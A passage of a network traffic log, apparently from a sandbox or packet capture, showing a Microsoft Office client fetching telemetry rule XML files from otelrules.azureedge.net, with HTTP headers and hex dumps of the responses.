2024-11-20 09:20:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-1777c6cb7549x5qchC1TEBggbg00000009cg00000000cnv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-185f5d8b95c4bhwphC1NYCs8gw0000000a1g00000000ggrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-185f5d8b95csd4bwhC1NYCq7dc00000009vg00000000erwf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.9	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-1777c6cb754vxwc9hC1TEBykgw00000009dg000000004txu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:09 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092009Z-1777c6cb754vxwc9hC1TEBykgw00000009c00000000090sh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.9	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:09 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:09 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092009Z-185f5d8b95c96jn4hC1NYCbgp80000000a1g000000006tb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:09 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:09 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:09 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092009Z-r1d97b9957789g82hC1TEBstx000000008kg000000009rdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092009Z-185f5d8b95csp6jmhC1NYCwy6s00000009wg00000000f2yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:09 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092009Z-1777c6cb754lvj6mhC1TEBke9400000009ag00000000khr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.9	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092010Z-1777c6cb754xrr98hC1TEB3kag00000009700000000093p9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092010Z-r1d97b99577gg97qhC1TEBcrf400000008eg000000009qt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:10 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1741ed2c-701e-0053-1ff7-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092010Z-r1d97b99577n5jhbhC1TEB74vn00000008kg00000000ath6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" 